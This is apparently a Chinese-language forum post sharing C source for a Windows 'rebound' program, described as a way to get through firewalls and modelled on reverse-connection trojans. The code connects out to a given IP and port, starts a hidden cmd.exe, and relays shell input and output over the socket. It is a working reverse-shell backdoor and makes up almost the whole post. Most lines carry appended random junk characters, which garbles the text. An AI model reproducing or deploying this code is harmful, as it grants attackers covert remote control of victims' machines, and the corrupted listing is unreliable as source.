这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 >c~9wv
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/* ============================== y?rK5Yos
Rebound port in Windows NT T(t
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By wind,2006/7 [0(
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===============================*/ {3_F fsg`
#include j@!BOL~?
#include S S7D1
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#pragma comment(lib,"wsock32.lib") |sDG>Zq?
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void OutputShell(); w%!k?t,*]
SOCKET sClient; .je~qo)
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 5+#?7J1
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void main(int argc,char **argv) "1=.5:yG
{ D~t"9Z\
WSADATA stWsaData; E#WjoIk
int nRet; !ds"88:5^
SOCKADDR_IN stSaiClient,stSaiServer; 1VPfa
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if(argc != 3) Y:#kel<
{ ~`W6O>
printf("Useage:\n\rRebound DestIP DestPort\n"); %m0L!|E
return; #Q!c42}M
} s0`]!7D<
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WSAStartup(MAKEWORD(2,2),&stWsaData); gXJ19zB+
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); D| 8sjp4
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stSaiClient.sin_family = AF_INET; A$$R_3ne
stSaiClient.sin_port = htons(0); RLeSA\di
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); %<bG%V(
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 2!"\;/
{ P*nT\B
printf("Bind Socket Failed!\n"); @pEO@bbg>
return; EzeDShN=J
} 0YTtA]|`4
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stSaiServer.sin_family = AF_INET; {R6Zwjs
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); hIg, 0B
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); .P0Qs&i
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) v;NZ"1=_
{ 6#lC(ko'
printf("Connect Error!"); _g/TH-;^
return; /^es0$Co.
} ,EGD8$RA]
OutputShell(); d
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} Ke;X3j ]`
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void OutputShell() UHsrZgIRYT
{ o )}<
char szBuff[1024]; ytcG6WN3
SECURITY_ATTRIBUTES stSecurityAttributes; el*pYI
OSVERSIONINFO stOsversionInfo; W>
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 7.Kjg_N#Tr
STARTUPINFO stStartupInfo; s5Bmv\e.i5
char *szShell; 4jyr\=42F'
PROCESS_INFORMATION stProcessInformation; wshp{ y
unsigned long lBytesRead; E]U3O>hf
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); cM7k) {
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 8BoT%kVeJv
stSecurityAttributes.lpSecurityDescriptor = 0; 6XxG1]84
stSecurityAttributes.bInheritHandle = TRUE; &j~|3
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 7AFS)_w
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); R*TGn_J`
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); G:6$P%.
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K
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stStartupInfo.wShowWindow = SW_HIDE; >[P7Zlwv4
stStartupInfo.hStdInput = hReadPipe; ws=9u-
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; GVHfN5bTqn
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GetVersionEx(&stOsversionInfo); ~)_ ?:.Da
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switch(stOsversionInfo.dwPlatformId) 94k)a8-!
{ {-7yZ]OO$
case 1: EX_sJ c
szShell = "command.com"; ;
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break; Z!=Pc$?
default: A%czhF
szShell = "cmd.exe"; yU8Y{o;:
break; +]~w ?^h
} 8UY=}R2C
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); LK-6z w5=(
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send(sClient,szMsg,77,0); SAxa7B/U2
while(1) mEc;-b
f
{ g KmRjK
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); `J7Lecgo
if(lBytesRead) i,b7Ft:F&
{ ^@5ui;JV
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); uW--
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send(sClient,szBuff,lBytesRead,0); &)f++(i
} /KvPiQ%
else m+8b2H:V
{ g!)LhE
lBytesRead=recv(sClient,szBuff,1024,0); Kac j
if(lBytesRead<=0) break; `6/Yf@b
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); jvQ+u L
} pZJQKTCG
} C.e|VzQa
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return; D>#v 6XI
}